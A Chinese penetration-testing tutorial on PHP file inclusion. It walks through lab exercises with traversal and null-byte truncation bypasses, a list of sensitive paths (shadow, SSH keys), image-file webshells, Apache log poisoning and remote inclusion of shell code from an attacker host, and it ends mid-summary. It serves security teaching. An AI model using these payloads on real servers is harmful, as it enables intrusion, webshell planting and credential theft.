89.网络安全渗透测试—[常规漏洞挖掘与利用篇5]—[文件包含漏洞详解&实战示例]

本文阅读 26 分钟
首页 代码,C/C#/C++ 正文

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

一、文件包含漏洞详解

1、文件包含漏洞相关概念

(1)文件包含英文:file inclusion。

(2)文件包含漏洞概述:在Web Application运行的过程中,可以动态引入文件的内容的行文称为文件包含,若对变量没有进行有意的过滤防护,就很容易产生漏洞。

(3)文件包含漏洞背景:程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这其中文件调用的过程一般被称为文件包含。只是这样的话也不会构成文件包含漏洞。但是同时,程序开发人员一般希望代码更加灵活,所以将被包含的文件设置为变量,用来进行动态调用,正是由于这种灵活性,从而导致客户端可以读取任意文件或执行恶意代码,造成文件包含漏洞。

(4)使用文件包含的相关语言:几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,而在JSP、ASP、程序中却非常少,甚至没有,这是有些语言设计的弊端。在PHP中经常出现包含漏洞,但这并不意味这其他语言不存在。

2、PHP文件包含漏洞相关概念

(1)PHP文件包含的实质:文件包含《==》文件调用《==》文件执行

(2)本地文件包含图示: img

(3)远程文件包含图示: img (4)文件包含至关重要的特性:被包含的文件只要是符合php语法规范,任何后缀名的文件都能够被PHP解析并执行。若不符合PHP语法规范,则原样输出。(注意:PHP的注释内容也是符合语法规范的,不过也是不会被解析执行的,所以有些时候需要读取页面源码才能看到注释内容!!!)

(5)PHP文件包含的两个重要参数:

  • allow_url_fopen (是否允许打开远程文件)参数,默认是开启的。
  • allow_url_include=On(是否允许包含远程文件)参数,默认是关闭的。
  • 注意:以上两个参数对包含本地文件没有影响!!!

(6)PHP文件包含函数

  • include()函数:找不到被包含文件时会产生警告(E_WARNING),但不会中断执行PHP脚本;
  • include_once()函数:与include()函数类型,代码已经被包含则不会再次包含;
  • requre()函数:找不到被包含文件时会产生致命错误(E_COMPILE_ERROR),从而中断执行PHP脚本;
  • require_once()函数:与require()函数类似,代码已经被包含则不会再次包含。

(7)PHP文件包含示例1:

array.php:存放一个经常使用的打印数组的函数

<?php
    //一个用来打印数组的函数
    function PrintArr($arr,$p="-->",$lin="<br/>")
    { 
        foreach($arr as $key => $value){ 
            echo "$key $p $value $lin";
        }
    }
?>

demo1.php:用来动态包含调用打印数组函数的文件

<?php
    //error_reporting("0");
    include($_GET['file']);
    $arr = array("test","test2","test3");
    PrintArr($arr);
?>

img

(8)PHP文件包含示例2:

phpinfo.txt:存放php探针函数

<?php phpinfo();?>

demo2.php:用来动态的调用php探针

<?php include("$_GET['file']");?>

分别修改phpinfo.txt的扩展名为:rar、jpg、qwsn等等发现均可解析,只要文件内容符合PHP语法规范,任何扩展名都可以被PHP解析执行。 img img

(9)远程文件包含示例:127.0.0.1本地模拟

hello.txt:打印输出hello world!!!

<?php echo "hello world!!!";?>

demo3.php:用来动态的调用hello.txt的echo动作

<?php include($_GET['file'];?>

img

3、PHP文件包含漏洞利用:构造payload

(1)正常访问页面逻辑:

  • 访问1.html:内含很多的a标签
<html>
<head>
    <meta http-equiv= "Content-Type" content= "text/html; charset=utf-8" />
</head>

<body>
    <a href="index.php?page=main.php">主页</a><br />
    <a href="index.php?page=news.php">新闻</a><br />
    <a href="index.php?page=down.php">下载</a><br />
</body>
</html>
  • 点击标签后,会跳转到index.php页面内包含的很多页面,比如main.php、news.php、down.php

index.php:

<?php 
    error_reporting('0');
    include($_GET['page']);
?>

main.php:

<?php
header( "content-type:text/html;charset=utf-8" );
?>
<html>
<h1>主页</h1>
</html>

news.php:

<?php
header( "content-type:text/html;charset=utf-8" );
?>
<html>
<h1>新闻</h1>
</html>

down.php:

<?php
header( "content-type:text/html;charset=utf-8" );
?>
<html>
<h1>下载</h1>
</html>
  • 跳转到包含文件news.php

img img (2)攻击者思路:

  • 由以上的内容,可以得出一个简单的payload:http://www.exploit.cool/demo/include_demo/normal_access/index.php?page=xxxxxxxxxx.php
  • 很明显这个xxx.php可以替换为任意想要且可读的文件,从而导致任意文件读取漏洞,或包含一个我们上传了的的恶意脚本造成任意代码执行漏洞,当然了如果开启了allow_url_include参数开关,那么就可以远程文件包含我们的恶意脚本了。(这里要说明以下,allow_url_fopen是默认开启的,我们就当做它开启了,毕竟allow_url_include是允许远程文件包含,而allow_url_fopen是允许打开远程文件,二者缺一不可!!!)

4、PHP文件包含漏洞利用:读取铭感文件

(1)Windows敏感文件

c:\boot.ini                                    // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml    // IIS配置文件
c:\windows\repair\sam                       // 存储Windows系统初次安装的密码
c:\Program Files\mysql\my,ini               // MySQL配置
c:\Program Files\mysql\data\mysql\user.MYD  // MySQL root
c:\windows\php.ini                          // php 配置信息
c:\windows\my.ini                           // MySQL 配置文件
c:\Windows\System32\drivers\etc\hosts        // 本地的域名静态映射

img

(2)Linux敏感文件

/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/apache/php/php.ini
/bin/php.ini
/etc/anacrontab
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache.conf
/etc/apache2/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/at.allow
/etc/at.deny
/etc/cron.allow
/etc/cron.deny
/etc/crontab
/etc/fstab
/etc/host.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/etc/httpd/htdocs/index.php
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/etc/httpd/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
/etc/ld.so.conf
/etc/motd
/etc/my.cnf                                    // mysql配置文件
/etc/mysql/my.cnf
/etc/mysql/my.cnf
/etc/network/interfaces
/etc/networks
/etc/passwd                                    // 用户信息
/etc/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/cgi/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php4/cgi/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php5/cgi/php.ini
/etc/phpmyadmin/config.inc.php
/etc/resolv.conf
/etc/shadow
/etc/ssh/sshd_config
/etc/ssh/sshd_config
/etc/ssh/ssh_config
/etc/ssh/ssh_config
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key.pub
/etc/ssh/ssh_host_key.pub
/etc/ssh/ssh_host_rsa_key
/etc/ssh/ssh_host_rsa_key
/etc/ssh/ssh_host_rsa_key.pub
/etc/ssh/ssh_host_rsa_key.pub
/etc/sysconfig/network
/etc/sysconfig/network
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/home/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/NetServer/bin/stable/apache/php.ini
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.html
/opt/www/htdocs/index.php
/opt/xampp/etc/php.ini
/PHP/php.ini
/php/php.ini
/php4/php.ini
/php5/php.ini
/root/.atftp_history
/root/.bashrc
/root/.bash_history
/root/.mysql_history
/root/.nano_history
/root/.php_history
/root/.profile
/root/.ssh/authorized_keys
/root/.ssh/identity
/root/.ssh/identity.pub
/root/.ssh/id_dsa
/root/.ssh/id_dsa.pub
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/anaconda-ks.cfg
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error_logerror_log.old
/usr/local/apache2/conf/httpd.conf            // apache2配置文件
/usr/local/apache2/conf/php.ini
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/cpanel/logs
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/php.ini
/usr/local/httpd/conf/httpd.conf
/usr/local/httpd2.2/htdocs/index.html
/usr/local/httpd2.2/htdocs/index.php
/usr/local/lib/php.ini
/usr/local/mysql/bin/mysql
/usr/local/mysql/my.cnf
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php5/etc/php.ini    
/usr/local/php5/lib/php.ini                    // php5配置文件
/usr/local/php5/php5.ini
/usr/local/share/examples/php/php.ini
/usr/local/share/examples/php4/php.ini
/usr/local/tomcat5527/bin/version.sh
/usr/local/Zend/etc/php.ini
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
/var/apache2/config.inc
/var/httpd/conf/httpd.conf                    // apache配置文件
/var/httpd/conf/php.ini
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.html
/var/httpd/htdocs/index.php
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/var/local/www/conf/httpd.conf
/var/local/www/conf/php.ini
/var/log/access.log
/var/log/access_log
/var/log/apache/access.log
/var/log/apache/access_log
/var/log/apache/error.log
/var/log/apache/error_log
/var/log/apache2/access.log
/var/log/apache2/access_log
/var/log/apache2/error.log
/var/log/apache2/error_log
/var/log/error.log
/var/log/error_log
/var/log/mysql.log
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql-slow.log
/var/log/mysql/mysql.log
/var/log/mysqlderror.log
/var/mail/root
/var/mysql.log
/var/spool/cron/crontabs/root
/var/spool/mail/root
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/www/htdocs/index.php
/var/www/index.html
/var/www/index.php
/var/www/logs/access.log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error_log
/web/conf/php.ini
/www/conf/httpd.conf
/www/htdocs/index.html
/www/htdocs/index.php
/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
root/.ssh/authorized_keys
root/.ssh/identity
root/.ssh/identity.pub
root/.ssh/id_dsa
root/.ssh/id_dsa.pub
root/.ssh/id_rsa
root/.ssh/id_rsa.pub

5、PHP文件包含漏洞利用:简单的目录遍历绕过+截断绕过

(1)实验环境:

1.靶机环境:
(1)物理机2003【192.168.97.200/exp】【www.include.qwsn/exp】
(2)phpStudy2018
(3)php5.2.17+Apache
(4)php参数开关
    allow_url_fopen=off
    allow_url_include=off
    magic_quotes_gpc=off

2.攻击主机:
(1)物理机Win7【192.168.97.130】
(2)Firefox+Hackbar+Burpsuite

3.网络环境:
(1)VMware搭建的NAT网络

(2)靶机链接:

URL:http://www.include.qwsn/exp/include/include1/include1.php

(3)漏洞描述:

1.使用哪个文件包含函数?
2.以什么方式获取待包含的文件?
2.攻击者对变量是否可控?

(4)漏洞分析:

1.0 漏洞点:include1.php

1.1 关键源码分析:include1.php

<html>
    <h3>Less-1:本地文件包含【包含三个flag值】</h3>
</html>
//第一个关

<?php
    header("Content-Type:text/html;charset=utf-8");
    //页面编码为utf-8,防止页面中文乱码
    
    //打印出flag.txt的大致的所在目录结构
    echo 'flag3.txt/flag2.txt&include1.php/flag1.txt'.'<br />';
 
    if(isset($_GET['page'])){     
    //判断是否读取到了以GET形式传递的page参数的参数值
        $file = $_GET['page'];
        //参数值赋值给file变量
        $file = str_replace( array( "../", "..\"" ), "", $file );
        //在file变量里面匹配../以及..\,并且替换为空
        include "./flag1/".$_GET['page'.'.php'];
        //include()包含参数page的参数值,但是在参数值前面拼接一个目录flag1
        //同时也在参数值的后面拼接一个.php后缀
    }
    else{ 
        //若没有接收到GET形式传递的page参数的参数值,则打印tips提示
         echo "<br />"."Tips: Pleade include page!!!";
    }
?>
<!--  ./flag1/  --!>
//页面注释内容,提示当前目录下含有【./flag1/】目录

1.2 漏洞分析:

1.使用哪个文件包含函数?
答:include()函数。
2.以什么方式获取待包含的文件?
答:以动态变量引入的方式获取待包含文件。
2.攻击者对变量是否可控?
答:部分可控,需要目录遍历/穿越、截断后缀

(5)漏洞测试:

第一步: 发现文件包含动作

1.0 测试:

1.浏览器访问:http://www.include.qwsn/exp/include/include1/include1.php
//页面回显两个提示:
flag3.txt/flag2.txt&include1.php/flag1.txt
Tips: Pleade include page!!!

2.查看页面源码发现了一个注释内容:<!-- ./flag1/ --!>

img img 1.1 分析:

1.页面提示分析:
(1)提示1:【flag3.txt/flag2.txt&include1.php/flag1.txt】
//由于我们现在所在的页面就是include1.php,可以推测出当前目录下还有
一个flag2.txt,父目录下有flag3.txt,而当前目录的某目录下有一个flag1.txt
(2)提示2:【Tips: Pleade include page!!!】
//翻译:【提示:请包含页面!!!】
//很有可能是,以page参数传递一个参数值,再赋值给一个变量,这个动态变量再被include()包含函数,所包含

2.源码提示分析:
(1)提示3:【<!-- ./flag1/ --!>】
//提示了,当前目录下有一个flag1目录,结合以上的分析,很大可能
flag1.txt存在于flag1目录下```

1.2 猜想:

猜想1:
$file = $_GET['page'];
include $file;

猜想2:
父目录有flag1.txt
当前目录下有flag2.txt和include1.php
当前目录下的flag1目录下有flag1.txt

第二步: 测试是否存在文件包含漏洞【存在】

1.0 测试: 尝试包含当前目录下的flag2.txt,页面会显警告信息:Warning: include(./flag1/flag1.txt.php) img 1.1 分析:

我们只是传递了flag2.txt,然而Warning: include(./flag1/flag1.txt.php),那么多
出来的./flag1/以及.php则可能是文件包含函数在包含文件的时候进行了字符串拼接操作

1.2 猜想:

$file = $_GET['page'];
include "./flag1/".$file.".php";

第三步: 测试绕过拼接目录和拼接后缀的方法

1.对于拼接的目录来说我们可以使用../或者..\的方法进行目录遍历或穿越
(1)若../只是被str_replace简单的替换为空,那么可以使用....//或者..././的方式绕过
(2)若..\只是被str_replace简单的替换为空,那么可以使用....\\或者...\.\的方式绕过

2.对于拼接的后缀来说,文件包含截断方法有3种情况
(1)第一种是使用%00截断拼接的后缀名,但是php>5.3.4以后就不能使用了,开启了GPC的情况下也是不能使用的。
(2)Windows下使用.或者./的方法填充256次垃圾字符从而使拼接的扩展名溢出,linux下需要使用4096次,因为文件路径有长度限制。
(3)第三种方法是在远程文件包含时通过?来伪截断拼接的后缀名,其效果和%00差不多;除此之外%23和?的效果一致。【?的url编码为%3f】

img img

(6)漏洞利用:

1.0 测试: 利用文件包含漏洞【直接包含读取flag文件】

payload-1:?page=flag1.txt%00
//页面成功回显flag值:flag{flag1}

payload-2:?page=....//flag2.txt%00
//页面成功回显flag值:flag{flag2}

payload-3:?page=..././..././flag3.txt%00
//页面成功回显flag值:flag{flag3}

img img img

(7)漏洞修复:

1.开启gpc:对预定义字符%00进行转义,从而防止截断拼接的后缀!!!
2.升级php版本:大于5.3.4之后的版本,就算关闭了魔术字gpc,%00的截断仍然能无效!!!

1.0 测试: 低版本,开启gpc img

img 1.1 测试: 高版本,关闭gpc img img

(8)漏洞总结:

1.使用哪个文件包含函数?
    include()函数

2.以什么方式读取待包含文件?
    以动态变量引入的方式获取待包含文件:include "./flag1/".$_GET['page'].".php";
    
3.攻击者对变量是否可控?
    部分可控:$_GET['page'],因为在包含的时候进行了目录和后缀拼接

4.目录遍历/目录穿越的姿势:../

5.一般的目录拼接绕过姿势:..././、....//、...\.\、....\\

6.一般的后缀拼接绕过姿势:%00截断、.或./垃圾字符填充、远程?截断

7.单纯的本地文件包含,对php的两个参数开关不做要求
    allow_url_fopen=off
    allow_url_include=off

6、PHP文件包含漏洞利用:文件上传+文件包含-getshell

(1)实验环境:

1.靶机环境
(1)物理机2003【192.168.97.200/exp】【www.include.qwsn/exp】
(2)phpStudy2018
(3)php5.2.17+Apache
(4)php参数开关
    allow_url_fopen=off
    allow_url_include=off
    magic_quotes_gpc=on
    
2.攻击主机:
(1)物理机Win7【192.168.97.130】
(2)Firefox+Hackbar+Burpsuite

3.网络环境:
(1)VMware搭建的NAT网络

(2)靶机链接:

URL:http://www.include.qwsn/exp/include/include1/include2.php

(3)漏洞描述:

1.使用哪个文件包含函数?
2.以什么方式获取待包含文件?
3.攻击者对变量是否可控?

(4)漏洞分析:

1.0 漏洞点:include2.php

1.1 关键源码分析:include2.php

<?php
//1.文件上传源码:设置了MIME白名单,只让上传图片类型的文件
header("Content-Type:text/html;charset=utf-8");
$uploaddir = 'uploads/';
if (isset($_POST['submit'])){ 
    if (file_exists($uploaddir)){ 
        if (($_FILES['upfile']['type'] == 'image/gif') || ($_FILES['upfile']['type'] == 'image/jpeg') ||
            ($_FILES['upfile']['type'] == 'image/png') || ($_FILES['upfile']['type'] == 'image/bmp')
        ){ 
            if (move_uploaded_file($_FILES['upfile']['tmp_name'],$uploaddir . '/'. $_FILES['upfile']['name'])){ 
                echo    '文件上传成功,保存于 ' . ' ./' . $uploaddir . $_FILES['upfile']['nane'] . "\n";
            }
        }
        
        else{ 
            echo '文件类型不正确,请重新上传!'    . "\n";
        } 
    }
    
    
    else{ 
        exit($uploaddir . "文件夹不存在,请手工创建!");
    }    
}
?>

//2.文件包含源码:文件包含了以动态变量引入的方式获取的待包含文件
<?php
echo "<br />";
if(isset($_GET['page'])){ 
        include $_GET['page'];
    }
    else{ 
        echo "<br />"."Tips: Pleade include page!!!";
    }
?>

1.2 漏洞分析:

1.文件上传:白名单

2.使用哪个文件包含函数?
    include()函数
    
3.以什么方式获取待包含文件?
    以动态变量引入的方式获取待包含函数:include $_GET['page']

4.攻击者对变量是否可控?
    变量完全可控:$_GET['page']

(5)漏洞测试:文件上传

1.0 测试: 发现文件上传漏洞

1.浏览器访问:http://192.168.97.200/exp/include/include1/include2.php
//页面回显:发现页面存在文件上传,经过测试该文件上传点的检测机制是MIME的白名单
//虽然我们可以通过结合BP来修改content-type来绕过白名单
//但是我们这里主要练习的是文件上传图片马+文件包含解析图片马,所以这里就不进行BP抓包改包的绕过演示了

img 1.1 分析:

上一步中的回显内容,还有一个提示:【Tips: Please includepage!!!】
//很明显是通过page来传递参数值,这个参数值应该会被包含函数所包含

1.2 猜想:

if(isset($_GET['page']))
    include $_GET['page'];

(6)漏洞测试:文件上传+文件包含+php探针

第一步:测试php探针

1.0 测试: 结合文件上传,上传一个info.gif探针,测试是否存在文件包含漏洞【存在】,也就是测试包含解析执行该php探针

1.浏览器访问:http://www.include.qwsn/exp/include/include1/include2.php
2.文件上传info.gif,其内容是<?php phpinfo();?>
3.文件包含该info.gif,其payload为:?page=./uploads/info.gif
//页面成功回显了php探针的信息

img img img 1.1 分析:

PHP探针暴露的信息如下:
(1)php配置文件所在位置:
    C:\phpStudy\PHPTutorial\php\php-5.2.17\php.ini
(2)Apache和php版本信息:
    Apache 2.4 Handler - Apache Lounge
    Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17
(3) 靶机的主机名:
    System     Windows NT QWSN-9527 5.2 build 3790 
(4)php参数开关状态:
    allow_url_fopen = Off
    allow_url_include = Off  
(5)apache配置文件所在目录:
    C:/phpStudy/PHPTutorial/Apache
(6)网站端口配置:
    Hostname:Port===》localhost:80
(7)网站根目录:
    DOCUMENT_ROOT     C:/phpStudy/PHPTutorial/WWW 
(8)压缩流支持情况:
    BZip2 Support     Enabled
    Stream Wrapper support     compress.bz2://
    Stream Filter support     bzip2.decompress, bzip2.compress
    BZip2 Version     1.0.2, 30-Dec-2001 
(9)数据库端口:
    mysqli.default_port        3306
(10)session存储位置:
    C:\phpStudy\PHPTutorial\tmp\tmp

1.2 猜想:

由网站根目录是【C:/phpstudy/phptutorial/www】可以推测出:该网站搭建时候使用的应该是phpstudy2018

(7)漏洞利用:文件上传+文件包含+getshell

1.0 测试: 文件上传一个wshell.gif图片马,然后文件包含该图片马,从而解析执行图片马里面的脚步,从而在当前目录下创建一个shell.php的一句话

1.文件上传wshell.gif,其wshell.gif的内容:
<?php echo 'success!!!';fputs(fopen('shell.php','w'),'<?php phpinfo();eval(\$_POST[123]);?>');?>

2.文件包含的payload:?page=./uploads/wshell.gif

3.访问生成的shell.php

img img img 1.1 蚁剑连接:shell.php img img

(8)漏洞修复:

1.对文件上传设置后缀白名单。
2.对文件包含进行拼接固定的目录和后缀,同时防止绕过。

(9)漏洞总结:

1.使用哪个文件包含函数?
    include()函数
    
2.以什么方式获取待包含文件?
    以动态变量引入的方式获取待包含函数:include $_GET['page']

3.攻击者对变量是否可控?
    变量完全可控:$_GET['page']

4.文件上传+文件包含Getshell姿势:
    若只让上传图片后缀的文件,我们可以上传一个图片马,然后用文件包含来对他进行php的解析执行即可
    姿势1:上传shell.gif图片马,直接包含,蚁剑连接
    姿势2:上传Wshell.gif图片马,直接包含写入一个shell.php,蚁剑连接

7、PHP文件包含漏洞利用:Apache日志文件包含getshell

(1)实验环境:

1.靶机环境
(1)物理机2003【192.168.97.200/exp】【www.include.qwsn/exp】
(2)phpStudy2018
(3)php5.2.17+Apache
(4)php参数开关
    allow_url_fopen=off
    allow_url_include=off
    magic_quotes_gpc=on
    
2.攻击主机:
(1)物理机Win7【192.168.97.130】
(2)Firefox+Hackbar+Burpsuite

3.网络环境:
(1)VMware搭建的NAT网络

(2)靶机链接:

URL:http://www.include.qwsn/exp/include/include1/include3.php

(3)漏洞描述:

1.使用哪个文件包含函数?
2.以什么方式获取待包含的文件?
2.攻击者对变量是否可控?

(4)漏洞分析:

1.0 漏洞点: include3.php

1.1 关键源码分析: include3.php

<html>
    <h3>Less-3:Apache日志包含【getshell】</h3>
</html>

<?php
    header("Content-Type:text/html;charset=utf-8");
    //防止中文乱码
    
    if(isset($_GET['page'])){ //验证是否提交了page参数
        include($_GET['page']); //进行文件包含page参数
    }else{  //若没有提交page参数,则显示提示内容
        echo 'Tips1:Please include page!'.'<br />';
    }
?>
//注释信息:
<!--管理员为了安全把日志放在了1下面--!>

1.2 漏洞分析:

1.使用哪个文件包含函数?
    include()函数
    
2.以什么方式获取待包含文件?
    以动态变量引入的方式获取待包含文件:include "$_GET['page']";

3.攻击者对变量是否可控?
    变量完全可控:$_GET['page']

(5)漏洞测试:php探针

第一步:发现文件包含动作【?page=xxx】

1.0 测试

浏览器访问:http://www.include.qwsn/exp/include/include1/include1.php
//页面回显了一个提示信息:【Tips:Please include page!】

img 1.1 分析

【Tips1:Please include page!】
//很明显是在提示我们进行文件包含

1.2 猜想

if(isset($_GET['page']))
    include $_GET['page'];

1.3 查看页面源码发现,一条注释:<!–管理员为了安全把日志放在了1下面–!> img 第二步:测试文件包含漏洞

1.0 测试:通过page参数,随便传入一个文件名,测试一下

payload:?page=qwsn.txt
//页面回显了包含函数,以及爆出了靶机目录结构

img

1.1 分析:

1.由于qwsn.txt是我们随便尝试的一个文件,是不存在的一个文件,所以这里出了一个警告信息

2.【 include(qwsn.txt) 】
//很明显,我们传入的参数,没有任何的过滤,就直接进行include包含了

3.【C:\phpStudy\PHPTutorial\WWW\exp\include\include1\include3.php】
//很明显,我们爆出了靶机的目录结构,并且可以看出靶机是使用phpstudy来搭建的

1.2 猜想

1.由上一步,可以猜想出phpstudy的日志默认存放位置:
    c:\phpstudy\phptutorial\apache\logs\access.log
    c:\phpstudy\phptutorial\nginx\logs\access.log

2.又因为我们看到注释,发现:【日志被放到了1下面】,所以我们猜想日志位置为:
    c:\phpstudy\phptutorial\apache\logs\1\access.log
    c:\phpstudy\phptutorial\nginx\logs\1\access.log
    
3.这里我们还要知道的是,apache和nignx的access.log访问日志对http请求的记录机制。无论访问的资源存在与否,它每次都会一行记录一次http请
求,一行由7个字段组成。从左到右,依次记录的是:
    【访问者IP、访问者标识、访问者账号信息、时间时区、GET请求内容、状态码、字节数】
    
4.注意1:access.log日志在记录的GET请求内容的时候,它是在浏览器页面渲染后才发送给服务器端的,之后再被记录到日志里面。所以此时若遇到空格、
尖括号等等字符,它会先被url编码后,再被记录到日志里面。

5.注意2:若<>等等字符被URL编码,则文件包含后,该代码不能被php成功的解析,所以我们要使用Burpsuite拦截下浏览器的渲染后的请求,我们对GET
请求进行URL解码后,再放通。

1.3 注意,在靶机中Apache默认没有开启access.log日志,因此需要手工开启并设置路径 img

第三步:测试把php探针写入日志并包含

1.0 测试:根据第二步中的猜想,我们结合BP解码后发送一个带有php探针的GET请求,然后通过日志包含解析执行。

payload:<?php phpinfo();?>
//如下图所示,日志包含成功

抓包 img 改包 img

放通 img 包含日志:

payload:?page=c:\phpstudy\phptutorial\apache\logs\1\access.log

img 1.1 分析

我们可以把php探针改为一个Shell或Wshell,即可getshell

1.2 注意:

若以上的操作失误,就算下次正确操作,也会文件包含失败,所以需要一次正确。
//但是这无关大雅,因为有些网站就算开启了apache的access.log日志功能,为了防止日志过大导致网站缓存过慢,因此会进行定期删除日志,
//或者一天生成一个以日期为名的日志文件!!!

(6)漏洞利用:getshell

payload-1:<?php eval($_POST[123]);?>

payload-2:<?php echo 'success!!!';fputs(fopen('shell.php','w'),'<? php phpinfo();eval(\$_POST[123]);?>');?>

payload-3:?page=c:\phpstudy\phptutorial\apache\logs\1\access.log

img

(7)漏洞修复:

1.关闭Apache的access.log日志记录
2.防止泄露access.log日志的位置

8、PHP文件包含漏洞利用:远程文件包含

(1)利用背景:

         没有上传功能,没法上传一句话木马,我们可以远程文件包含自己网站根目录wshell.txt,其功能是:被php解析执行,在当前文件包含漏洞的目录下创建一个shell.php,并且写入一句话木马和phpinfo探针

(2)wshell.txt:

<?php fputs(fopen('shell.php','w'),'<?php eval(\$_POST["123"]);phpinfo();?>')?>

(3)相关参数:

         靶机开启了allow_url_fopen(允许读取远程文件)参数,且开启了allow_url_include(允许包含远程文件)参数。

img

(4)实验环境:

1.靶机环境
(1)物理机2003【192.168.97.200/exp】【www.include.qwsn/exp】
(2)phpStudy2018
(3)php5.2.17+Apache
(4)php参数开关
    allow_url_fopen=on
    allow_url_include=on
    magic_quotes_gpc=off
    
2.攻击主机:
(1)物理机Win7【192.168.97.130】
(2)Firefox+Hackbar+Burpsuite

3.网络环境:
(1)VMware搭建的NAT网络

靶机的hosts文件: C:WINDOWSsystem32driversetc img

(5)漏洞描述:

1.使用哪个文件包含函数?
2.以什么方式获取待包含的文件?
2.攻击者对变量是否可控?

(6)漏洞分析:

1.0 漏洞点: include4.php

1.1 关键源码分析: include4.php

<html>
    <h3>Less-4:远程文件包含【getshell】</h3>
</html>

<?php
    header("Content-Type:text/html;charset=utf-8");
    //防止中文乱码
    $file=$_GET['page'];
    //以GET形式读取浏览器传递的page参数的参数值,并且赋值给$file变量
    //使用替换函数对$file进行一定的过滤
    if(isset($file)){ 
    $file = str_replace( array( "http://", "https://" ), "", $file );
    $file = str_replace( array( "../", "..\"" ), "", $file );
    //include($file);
    //给被包含的文件拼接后缀
    include($file . '.html.php');
    }else{ 
    echo "Tips:Pleade include page!!!";
    }
?>
//注意:提示让我们使用截断绕过拼接的后缀
<!-- 有几种截断方法???? --!>

1.2 漏洞分析

1.使用哪个文件包含函数?
    include()函数
    
2.以什么方式获取待包含文件?
    以动态变量引入的方式获取待包含文件:include($file . '.html.php');

3.攻击者对变量是否可控?
    $file = $_GET['page']
    $file = str_replace( array( "http://", "https://" ), "",$file );
    $file = str_replace( array( "../", "..\"" ), "", $file );
    变量不完全可控

(7)漏洞测试:

第一步:发现文件包含动作【?page=xxx】

1.0 测试:

浏览器访问:http://www.include.qwsn/exp/include/include1/include4.php
//页面回显:【Tips:Pleade include page!!!】

img 1.1 分析

【Tips:Pleade include page!!!】
//很明显,这个是让我们通过page参数进行传递文件名,从而进行文件包含

1.2 猜想

$file = $_GET['page']
if(isset($file))
    include $file;

1.3 查看当前页面的源码发现:<!-- 有几种截断方法???? --!> img 第二步:测试文件包含漏洞是否存在【存在】

1.0 测试:尝试远程文件包含一个php探针

【这里我们使用攻击机搭建WEB远程服务器】

payload:?page=http://www.exploit.cool/info.qwsn
//页面回显: include(www.exploit.cool/info.qwsn.html.php)

img 1.1 分析

【include(www.exploit.cool/info.qwsn.html.php)】
很明显:http://被置换为空,并且传递的字符串参数最后会拼接.html.php后
缀,我们这里可以尝试复写或大小写绕过http://的置空过滤,同时可以尝试%00截断拼接的后缀

1.2 猜想

$file = $_GET['page']
if(isset($file)){ 
    $file = str_replace(array('http://','https://'),'',$file);
    include($file . '.html.php');
}

1.3 尝试复写http://和%00截断绕过 【注意:若要%00生效,需要关闭一个php参数:magic_quotes_gpc=off】

payload:?page=hthttp://tp://www.exploit.cool/info.qwsn%00
//页面回显:php探针成功被解析

img 1.4 尝试大写http://和%23绕过 img 1.5 尝试大小写http://和%3f绕过

【%3f就是?的url编码】 img

(8)漏洞利用:getshell

第一步:我们可以直接远程包含一个Shell,蚁剑连接该包含链接即可getshell

payload:?page=hthttp://tp://www.exploit.cool/shell.qwsn%00

img

img img 第二步:远程包含一个wshell,在当前页面所在目录下创建一个Shell,我们再用菜刀 连接当前目录下的Shell即可getshell

payload:?page=HTTP://www.exploit.cool/wshell.qwsn?

img img img img

(9)漏洞修复

开启magic_quotes_gpc(魔术字防护)参数开关
关闭allow_url_include(允许远程文件包含)参数开关

(10)漏洞总结

1.使用哪个文件包含函数?
    include()函数
    
2.以什么方式读取待包含文件?
